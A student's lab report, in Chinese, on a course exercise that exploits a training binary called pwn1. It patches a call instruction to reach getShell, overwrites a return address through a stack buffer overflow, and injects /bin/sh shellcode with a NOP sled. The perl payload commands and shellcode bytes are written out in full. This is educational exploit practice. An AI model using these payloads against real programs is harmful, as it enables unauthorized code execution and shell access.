一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

二、基础知识:

1.通过结合计算机组成原理以及查阅相关资料,我们知道了NOP, JNE, JE, JMP, CMP等常用汇编指令的机器码:

NOP:一个空指令,什么都不做,让cpu等待一段时间,并且该指令会自动对齐寻址。机器码为0x90;

JNE:一个条件转移指令,当零标志z=0时跳转至标号,z=1时顺序执行下一条指令。机器码为0x75;

JE:一个条件转移指令,当零标志z=1时跳转至标号,z=0时顺序执行下一条指令。机器码为0x74;

JMP:无条件转移指令。段内直接近转移Jmp near,机器码为0xe9; 段内间接转移Jmp word,机器码为0xff;段内直接短转Jmp short,机器码为0xeb; 段间直接(远)转移Jmp far,机器码为0xea;

CMP:比较指令,执行减法操作但不保存运算结果。

2.掌握反汇编与十六进制编程器

通过查阅资料我们可以知道:

objdump反汇编命令:

objdump -f test     //显示test的文件头信息

objdump -d test    //反汇编test中的需要执行指令的那些section

objdump -D test    //与-d类似,但反汇编test中的所有section

objdump -h test    //显示test的Section Header信息

objdump -x test    //显示test的全部Header信息

objdump -s test    //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码

xxd命令:

用vi命令打开一个文件,在vi命令模式下输入

:%!xxd            //回车后,该文件会以十六进制形式显示

:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

三、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

设置共享文件夹将pwn1文件导入主目录后并修改文件名为20164321,输入:

objdump -d 20164321 | more

得到反汇编代码:

继续下拉,找到getshell、foo与main函数:

由主函数我们可以看出main函数调用foo,相应的机器指令为“e8 d7ffffff”,其中“e8”为跳转的意思。本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,即为目标地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491这个值,即为跳转的目标地址。那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff。注意计算时是小端模式低字节优先。

修改可执行文件,将call指令的目标地址由d7ffffff变为c3ffffff。

进入到文件的vi模式,输入:

vim 20164321

按esc键退出,输入:

:%!xxd

以查看其十六进制

输入:

/e8 d7

找到目标代码 在000004b0

记录目标位置在000004b0这行,找到目标,将光标移至d,按r键后修改为c,同理修改7为3:

输入:

:%!xxd -r

转换16进制为原格式

输入:

:wq

存盘退出

对文件再次进行反汇编,找到主函数中之前调用foo的位置,发现call指令已经改为调用getshell了

运行后发现可以调用shell

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

进行反汇编

我们可以利用foo函数中的Buffer overflow漏洞,造成缓冲区溢出,来覆盖返回地址为主函数中的80484ba,从而调用getshell函数。

2.1确认输入字符串哪几个字符会覆盖到返回地址

输入:

gdb 20164321-2

再输入r指令执行程序,我们可以尝试着输入一段字符串1111111122222222333333334444444412345678共40个字符

再输入info r查看寄存器信息发现正是之前0x34333231,即为4321的ASCII码,根据老师上课所讲的知识可以知道Linux地址是由高到低的,说明覆盖成功,之后的操作将其修改为getshell地址就能返回运行到getshell了。

由于是第32为之后的覆盖成功,能由此可见缓存区32个字节。

2.2构造输入字符串

由于小端模式我们将地址倒过来输入即可:(原为0804847d改为7d840408)

11111111222222223333333344444444\x7d\x84\x04\x08

再之后加一个\x0a表示回车就构造完成了。

输入:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

将input的输入,通过管道符“|”,作为20164321-2的输入,即可攻击成功

3.注入一个自己制作的shellcode并运行这段shellcode

3.1准备一段shellcode

使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

这段机器指令,获取一个交互式的shell

3.2下载execstack,使用期关闭地址随机化,减少实验难度(0为关闭,2为开启)

3.3构造注入需要的payload

采用retaddr+nop+shellcode结构进行构造(nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。):

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

\x4\x3\x2\x1是将来要存放覆盖RET地址的位置。

3.4进行攻击

输入之前构造的代码

同时开启另一个终端来调试进程

输入:

ps -ef | grep 20164321-3

启动gdb调试这个进程

attach 5447

通过设置断点,来查看注入buf的内存地址

通过disassemble foo进行反汇编以设置断点

输入break *0x080484ae

再输入info r esp

对esp语句进行查找

我们可以看到0xffffd30内容被覆盖为了1234,我们需要将之后的90909090覆盖,则往后移四位地址,则目标地址为:0xffffd310

由此我们可以重新构造攻击代码:

perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻击成功!

四、实验收获与感想

1.实验收获

这次实验是我第一次进行网络对抗实验,在实验过程中,我深切感受到自己linux基本功的不扎实,对实验内容也不够了解,简直就是上课听不懂,下课两行泪啊。

第一个实验就遇到了问题,修改地址完成后,运行文件发现非法,尝试解决无果后,重新做了一次才成功。

这次实验不表现了我动手能力的不足,希望在今后的几次实验中,我能够收获知识与实践能力。

2.什么是漏洞?漏洞有什么危害?

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,也就是我们所说的“bug”。就像本次实验中利用foo函数的Bof漏洞,就是程序代码存在一定的漏洞。

这些漏洞大多都是由于设计时不够严谨导致的,比如边界检查,输入值的判断,还有指针的调用。

这些漏洞轻则会使程序奔溃,重则会被恶意攻击者所利用,造成财产经济的损失。

转载于:https://www.cnblogs.com/wjt1998blog/p/10542179.html

20164321 王君陶 Exp1 PC平台逆向破解相关推荐

  1. Exp1 PC平台逆向破解(5)M

    Exp1 PC平台逆向破解(5)M 实践内容 实践对象是一个可执行文件pwn1 本程序的正常执行顺序应该是main函数调用foo函数,foo函数输出用户输入的字符串. 本程序还包含了另一个代码片段ge ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 <网络攻防> Exp1 PC平台逆向破解(5)M 实践内容 通过对实践对象--20155220pwn1的linux可执行文件的修改或输入,完成以下三块: 手工修改可执行文 ...

  4. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp1 PC平台逆向破解

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp1 PC平台逆向破解 目录 0. 实验目标 1. 实验内容 1.1 直接修改程序机器指令,改变程序执行流程 1.2 通 ...

  5. 2018-2019-2 20165234 《网络对抗技术》 Exp1 PC平台逆向破解

    实验一 PC平台逆向破解 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另 ...

  6. 20154312曾林 - Exp1 PC平台逆向破解

    1.逆向及Bof基础实践说明 1.1-实践目标 对象:pwn1(linux可执行文件) 目标:使程序执行另一个代码片段:getshell 内容: 手工修改可执行文件,改变程序执行流程,直接跳转到get ...

  7. 20162318 2018-2019-2《网络对抗技术》Exp1 PC平台逆向破解

    一.实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getS ...

  8. 20164305徐广皓 - Exp1 PC平台逆向破解(5)M

    1.逆向及Bof基础实践说明        1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...

  9. EXP1 PC平台逆向破解

    一.实践目标 1.本次实践的对象是一个名为20154310(原为pwn1)的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 3.该 ...

最新文章

  1. 电商大战折射商业伦理缺失形势探讨
  2. 奔五的人学ios:swift竟然没有字符串包括,找个简单的解决方法
  3. netcore mvc快速开发系统(菜单,角色,权限[精确到按钮])开源
  4. 通过SQL Server 2008 访问Oracle 10g
  5. 各种门锁的内部结构图_便宜超好用:小米智能门锁 E上手体验报告
  6. 涂威威:第四范式经验与思考分享
  7. 【Java从0到架构师】SpringMVC - RESTful
  8. Linux:ubuntu 下安装软件,卸载,查看已经安装的软件
  9. ConcurrentDictionary 与 Dictionary
  10. java 雪崩效应,Jmeter模拟雪崩效应
  11. 晓月antivirV8P绿色汉化扫描自由版
  12. JS 校验车牌号码(全)
  13. 神经网络中经常使用的激活函数--sigmoid函数
  14. 云平台、面向服务的体系结构和云编程
  15. 解决用easyboot制作4G以上光盘时,WINPE启动失败的问题
  16. PotPlayer不支持S/W HEVC(H.265)解码怎么办?一招解决所有的不支持解码
  17. 不把鸡蛋放在一个篮子里面
  18. 用于情绪测试的软件,第七章 情感心理自我测试心理测评软件
  19. ◮OpenGL-混合
  20. 计算机科学计数法是哪个键,卡西欧计算器中的科学计数法键如何使用?请举例!急!...

热门文章

  1. 会中切换网络总掉线?腾讯会议用这种方案让你好好开会
  2. 使用Mob进行短信验证码发送
  3. 格力何时实行周末双休?董明珠回应:社会需要时,要放下自我
  4. 单片机控制一盏灯的亮与灭程序解释
  5. ESP32_micropython学习(一):点亮一盏灯
  6. 服务器远程桌面输完密码闪断,远程桌面的连接闪断解决方案
  7. 初等数论——欧几里得算法
  8. 教你如何做抖音视频广告,助你脱颖而出
  9. ftp服务器与共享文件对比,FTP与网络文件共享相比,有哪些优势特点?
  10. Linux 第四章-文件管理